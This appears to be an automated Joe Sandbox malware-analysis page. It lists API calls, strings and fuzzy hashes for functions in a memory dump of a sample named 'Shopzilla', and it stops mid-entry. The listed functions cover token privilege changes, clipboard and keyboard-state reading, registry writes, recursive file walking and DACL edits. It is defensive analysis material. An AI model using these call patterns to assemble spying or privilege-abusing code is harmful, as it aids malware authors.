Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: e16876380dd3d7f2176501669f107403f656dce5cbcf98e4763f160a9d2f197f
Instruction ID: ab46089a1536e2892b67789588cc2516f9b457ea02f2cc4c0a24ae382440cdec
Opcode Fuzzy Hash: e16876380dd3d7f2176501669f107403f656dce5cbcf98e4763f160a9d2f197f
Instruction Fuzzy Hash: 4A42AF30104310AFDB20CF68D988BAEBBF5FF89750F144919FA6A876A1C771E954CB91

Function 00BF8D11 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00BF917C: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00BF91C6
Part of subcall function 00BF917C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00BF91F3
Part of subcall function 00BF917C: GetLastError.KERNEL32 ref: 00BF9200

_memset.LIBCMT ref: 00BF8D54
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00BF8DA6
CloseHandle.KERNEL32(?), ref: 00BF8DB7
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00BF8DCE
GetProcessWindowStation.USER32 ref: 00BF8DE7
SetProcessWindowStation.USER32(00000000), ref: 00BF8DF1
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00BF8E0B

Part of subcall function 00BF8BCC: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00BF8D0A), ref: 00BF8BE1
Part of subcall function 00BF8BCC: CloseHandle.KERNEL32(?,?,00BF8D0A), ref: 00BF8BF3

Strings

, xrefs: 00BF8D63
winsta0, xrefs: 00BF8DC9
default, xrefs: 00BF8E06

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 5847a5b89f594789438993b123377ebf39ce94ed53acda45d0f743a720e7fd10
Instruction ID: 385177cd7e61986e9689b8b6519770ad67ea896b6388636e6f34200b1857cd4b
Opcode Fuzzy Hash: 5847a5b89f594789438993b123377ebf39ce94ed53acda45d0f743a720e7fd10
Instruction Fuzzy Hash: 8B8149B191020DAFDF119FA4CC85BFE7BB9EF04304F1445AAFA15A7161DB318E589B60

Function 00C14416 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00C30980), ref: 00C14440
IsClipboardFormatAvailable.USER32(0000000D), ref: 00C1444E
GetClipboardData.USER32(0000000D), ref: 00C14456
CloseClipboard.USER32 ref: 00C14462
GlobalLock.KERNEL32(00000000), ref: 00C1447E
CloseClipboard.USER32 ref: 00C14488
GlobalUnlock.KERNEL32(00000000,00000000), ref: 00C1449D
IsClipboardFormatAvailable.USER32(00000001), ref: 00C144AA
GetClipboardData.USER32(00000001), ref: 00C144B2
GlobalLock.KERNEL32(00000000), ref: 00C144BF
GlobalUnlock.KERNEL32(00000000,00000000,?), ref: 00C144F3
CloseClipboard.USER32 ref: 00C14603

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 460a052e22d87a129ea6516211595350ec61ea3ca545a47c5b55c8c99b7519fe
Instruction ID: 08548775f834025d398328f97ac6c4dad36c24b744b5b0f2008d4eb4410fd328
Opcode Fuzzy Hash: 460a052e22d87a129ea6516211595350ec61ea3ca545a47c5b55c8c99b7519fe
Instruction Fuzzy Hash: F351AF72204201AFD304EF64EC6AFBF77A8AF85B01F104529F956D21E1DB70DA45DB62

Function 00C0CC0C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00C0CC3D
FindClose.KERNEL32(00000000), ref: 00C0CC91
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00C0CCB6
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00C0CCCD
FileTimeToSystemTime.KERNEL32(?,?), ref: 00C0CCF4
__swprintf.LIBCMT ref: 00C0CD40
__swprintf.LIBCMT ref: 00C0CD83

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

__swprintf.LIBCMT ref: 00C0CDD7

Part of subcall function 00BC37FA: __woutput_l.LIBCMT ref: 00BC3853

__swprintf.LIBCMT ref: 00C0CE25

Part of subcall function 00BC37FA: __flsbuf.LIBCMT ref: 00BC3875
Part of subcall function 00BC37FA: __flsbuf.LIBCMT ref: 00BC388D

__swprintf.LIBCMT ref: 00C0CE74
__swprintf.LIBCMT ref: 00C0CEC3
__swprintf.LIBCMT ref: 00C0CF12

Strings

%02d, xrefs: 00C0CDCB, 00C0CDD5, 00C0CE23, 00C0CE72, 00C0CEC1, 00C0CF10
%4d, xrefs: 00C0CD7D
%4d%02d%02d%02d%02d%02d, xrefs: 00C0CD3A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 67d7153f49bbefc20d68e3fa85f4e884995b5cc76b41b21ae739d5712c2bd18d
Instruction ID: 8733b3e5aa18913d22b3a050a56ebe2d5dda0ed8750bbe4a24ca7d7ea7dc4901
Opcode Fuzzy Hash: 67d7153f49bbefc20d68e3fa85f4e884995b5cc76b41b21ae739d5712c2bd18d
Instruction Fuzzy Hash: CEA13DB1408304ABD710EFA4D896EAFB7ECEF95704F404969F595C6191EB70EE08CB62

Function 00C0F445 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00C0F466
_wcscmp.LIBCMT ref: 00C0F47B
_wcscmp.LIBCMT ref: 00C0F492
GetFileAttributesW.KERNEL32(?), ref: 00C0F4A4
SetFileAttributesW.KERNEL32(?,?), ref: 00C0F4BE
FindNextFileW.KERNEL32(00000000,?), ref: 00C0F4D6
FindClose.KERNEL32(00000000), ref: 00C0F4E1
FindFirstFileW.KERNEL32(*.*,?), ref: 00C0F4FD
_wcscmp.LIBCMT ref: 00C0F524
_wcscmp.LIBCMT ref: 00C0F53B
SetCurrentDirectoryW.KERNEL32(?), ref: 00C0F54D
SetCurrentDirectoryW.KERNEL32(00C598F8), ref: 00C0F56B
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C0F575
FindClose.KERNEL32(00000000), ref: 00C0F582
FindClose.KERNEL32(00000000), ref: 00C0F594

Strings

*.*, xrefs: 00C0F4F8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 666b2d9be373c403732af95a3a1c803f3bf238ff0a6d866fc8dc04385bfe8fff
Instruction ID: 4c3fb1c5331a3f89f88650402ff32f99907537c7809c95afd952e5e7d050dfd7
Opcode Fuzzy Hash: 666b2d9be373c403732af95a3a1c803f3bf238ff0a6d866fc8dc04385bfe8fff
Instruction Fuzzy Hash: 5431A2326002196BDB20DFA5DC59BDE77ACAF09321F1041B9F825E31D0EB35DA85CB64

Function 00C20C7F Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C20D7B
RegCreateKeyExW.ADVAPI32(?,?,00000000,00C30980,00000000,?,00000000,?,?), ref: 00C20DE9
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00C20E31
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00C20EBA
RegCloseKey.ADVAPI32(?), ref: 00C211DA
RegCloseKey.ADVAPI32(00000000), ref: 00C211E7

Strings

REG_SZ, xrefs: 00C20EF8
REG_BINARY, xrefs: 00C21175
REG_QWORD, xrefs: 00C21128
REG_EXPAND_SZ, xrefs: 00C20E57
REG_MULTI_SZ, xrefs: 00C20FA2
REG_DWORD, xrefs: 00C210AB

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: e611390d0065cc98a7551d0e30940325d9ecfd7935d34e539e29036a9fabce45
Instruction ID: de3f22ceb7c3618ce6f8c935f3d798f81360d11051fb70fdb5a920bfb923070a
Opcode Fuzzy Hash: e611390d0065cc98a7551d0e30940325d9ecfd7935d34e539e29036a9fabce45
Instruction Fuzzy Hash: 37028A752046119FCB14EF25D851E2AB7E4FF89710F0489ADF89A9B7A2CB70ED41CB81

Function 00C0F5A2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00C0F5C3
_wcscmp.LIBCMT ref: 00C0F5D8
_wcscmp.LIBCMT ref: 00C0F5EF

Part of subcall function 00C046E2: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00C046FD

FindNextFileW.KERNEL32(00000000,?), ref: 00C0F61E
FindClose.KERNEL32(00000000), ref: 00C0F629
FindFirstFileW.KERNEL32(*.*,?), ref: 00C0F645
_wcscmp.LIBCMT ref: 00C0F66C
_wcscmp.LIBCMT ref: 00C0F683
SetCurrentDirectoryW.KERNEL32(?), ref: 00C0F695
SetCurrentDirectoryW.KERNEL32(00C598F8), ref: 00C0F6B3
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C0F6BD
FindClose.KERNEL32(00000000), ref: 00C0F6CA
FindClose.KERNEL32(00000000), ref: 00C0F6DC

Strings

*.*, xrefs: 00C0F640

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: e3be853372f26cafddb7eca66676efd93edbd4deb952a26131d547bdbf46db8d
Instruction ID: d23a26cd8d3c6e0351ee9d368cb35d50915f7e9e28d9a5a7920b810d54d64776
Opcode Fuzzy Hash: e3be853372f26cafddb7eca66676efd93edbd4deb952a26131d547bdbf46db8d
Instruction Fuzzy Hash: 8131C5325002196BDB209FA4DC59BDE77AC9F45324F2401B9F825A35E0DB328EC6CB64

Function 00C0E0CA Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00C0E18C
SystemTimeToFileTime.KERNEL32(?,?), ref: 00C0E19C
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00C0E1A8
__wsplitpath.LIBCMT ref: 00C0E206
_wcscat.LIBCMT ref: 00C0E21E
_wcscat.LIBCMT ref: 00C0E230
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C0E245
SetCurrentDirectoryW.KERNEL32(?), ref: 00C0E259
SetCurrentDirectoryW.KERNEL32(?), ref: 00C0E28B
SetCurrentDirectoryW.KERNEL32(?), ref: 00C0E2AC
_wcscpy.LIBCMT ref: 00C0E2B8
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00C0E2F7

Strings

*.*, xrefs: 00C0E2B2

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: aeb28792b9c3202271b6ba3b93461fe4391b856e73df0a889f54277d232053e7
Instruction ID: f732e49d2151a6eed8b45d5894ad5d71db4f3eb8e0b7b86561e30e2b62d61e30
Opcode Fuzzy Hash: aeb28792b9c3202271b6ba3b93461fe4391b856e73df0a889f54277d232053e7
Instruction Fuzzy Hash: 5E615B725083059FC710EF64C885A9FB3E8FF89310F04896EF99997291DB31EA45CB92

Function 00BF86B0 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF8C03: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00BF8C1F
Part of subcall function 00BF8C03: GetLastError.KERNEL32(?,00BF86E3,?,?,?), ref: 00BF8C29
Part of subcall function 00BF8C03: GetProcessHeap.KERNEL32(00000008,?,?,00BF86E3,?,?,?), ref: 00BF8C38
Part of subcall function 00BF8C03: HeapAlloc.KERNEL32(00000000,?,00BF86E3,?,?,?), ref: 00BF8C3F
Part of subcall function 00BF8C03: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00BF8C56

Part of subcall function 00BF8CA0: GetProcessHeap.KERNEL32(00000008,00BF86F9,00000000,00000000,?,00BF86F9,?), ref: 00BF8CAC
Part of subcall function 00BF8CA0: HeapAlloc.KERNEL32(00000000,?,00BF86F9,?), ref: 00BF8CB3
Part of subcall function 00BF8CA0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00BF86F9,?), ref: 00BF8CC4

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00BF8714
_memset.LIBCMT ref: 00BF8729
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00BF8748
GetLengthSid.ADVAPI32(?), ref: 00BF8759
GetAce.ADVAPI32(?,00000000,?), ref: 00BF8796
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00BF87B2
GetLengthSid.ADVAPI32(?), ref: 00BF87CF
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00BF87DE
HeapAlloc.KERNEL32(00000000), ref: 00BF87E5
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00BF8806
CopySid.ADVAPI32(00000000), ref: 00BF880D
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00BF883E
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00BF8864
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00BF8878

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 8c5e296a5ac4d2b71526ba68378205351d4e011c302086a30f38fae9cd3b6732
Instruction ID: fd859e8d14ebd27cebaec05ce8f3d371d035c3ac82cb8a1c87c56f38a8351b47
Opcode Fuzzy Hash: 8c5e296a5ac4d2b71526ba68378205351d4e011c302086a30f38fae9cd3b6732
Instruction Fuzzy Hash: D6613872910209AFDF04DFA4DC54BBEBBB9FF04744F1481A9EA15A7290DB319A08CB60

Function 00C20802 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C21242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C201D5,?,?), ref: 00C21259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C208D4

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00C20973
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00C20A0B
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00C20C4A
RegCloseKey.ADVAPI32(00000000), ref: 00C20C57

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 36c0b42c5ea2b166436f8e382a79c699570e8e82b8e516617c188a763cc31a96
Instruction ID: a19a53d7ec069d69564778c2dc62274ed6eeb9b412a9bdf816830330af7f91f9
Opcode Fuzzy Hash: 36c0b42c5ea2b166436f8e382a79c699570e8e82b8e516617c188a763cc31a96
Instruction Fuzzy Hash: 12E16D71204214AFC714DF29D895E6EBBE8EF89314F14896DF85ADB2A2DB30ED01CB51

Function 00C00374 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00C0039C
GetAsyncKeyState.USER32(000000A0), ref: 00C0041D
GetKeyState.USER32(000000A0), ref: 00C00438
GetAsyncKeyState.USER32(000000A1), ref: 00C00452
GetKeyState.USER32(000000A1), ref: 00C00467
GetAsyncKeyState.USER32(00000011), ref: 00C0047F
GetKeyState.USER32(00000011), ref: 00C00491
GetAsyncKeyState.USER32(00000012), ref: 00C004A9
GetKeyState.USER32(00000012), ref: 00C004BB
GetAsyncKeyState.USER32(0000005B), ref: 00C004D3
GetKeyState.USER32(0000005B), ref: 00C004E5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 8877e881ad32e1b22d19a6880a2c4232eec2011fa5bdc42c157e1b43f79f101e
Instruction ID: 40efd7bfead9263b0b5fbb4eeb730ff9000928f6649555393182b873b0e38f03
Opcode Fuzzy Hash: 8877e881ad32e1b22d19a6880a2c4232eec2011fa5bdc42c157e1b43f79f101e
Instruction Fuzzy Hash: 1841FA305447CAAEFF3187A488047B5BFA06F11344F29805EDBE5571C2EBA45BC4CBAA

Function 00C042AA Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00C042BE
__swprintf.LIBCMT ref: 00C042CB

Part of subcall function 00BC37FA: __woutput_l.LIBCMT ref: 00BC3853

FindResourceW.KERNEL32(?,?,0000000E), ref: 00C042F5
LoadResource.KERNEL32(?,00000000), ref: 00C04301
LockResource.KERNEL32(00000000), ref: 00C0430E
FindResourceW.KERNEL32(?,?,00000003), ref: 00C0432E
LoadResource.KERNEL32(?,00000000), ref: 00C04340
SizeofResource.KERNEL32(?,00000000), ref: 00C0434F
LockResource.KERNEL32(?), ref: 00C0435B
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00C043BC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: bbfd49b65e3a2c941521c7ecebf97b1e42b5e0bc292221438dccdee77eb75a37
Instruction ID: 71c498147d0874f373d2758d39ab90e5909ad4210e92fd43d86aee682b89b697
Opcode Fuzzy Hash: bbfd49b65e3a2c941521c7ecebf97b1e42b5e0bc292221438dccdee77eb75a37
Instruction Fuzzy Hash: 5531AFB260020AABCB199F61DD98FBF7BACFF04301F104559FA16D21A0D770DA21CBA4

Function 00C14614 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00C1463B
EmptyClipboard.USER32 ref: 00C14641
GlobalAlloc.KERNEL32(00000002,?), ref: 00C14656
CloseClipboard.USER32 ref: 00C146F5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 7e0f4b43163f3b9add7ca8436080d6293a2736180baf71628271c32a47b04fd0
Instruction ID: 2b9ca05a1a0c8d6d3ed1a51d1441fb2b206c1b31d3bb973bd85f1edbe4b53bfd
Opcode Fuzzy Hash: 7e0f4b43163f3b9add7ca8436080d6293a2736180baf71628271c32a47b04fd0
Instruction Fuzzy Hash: 8921D6323112109FDB15AF24EC2AB6E77F8EF86725F118059FD469B2A1CB70AD41CB94

Function 00C0F8A3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00C0F8F0
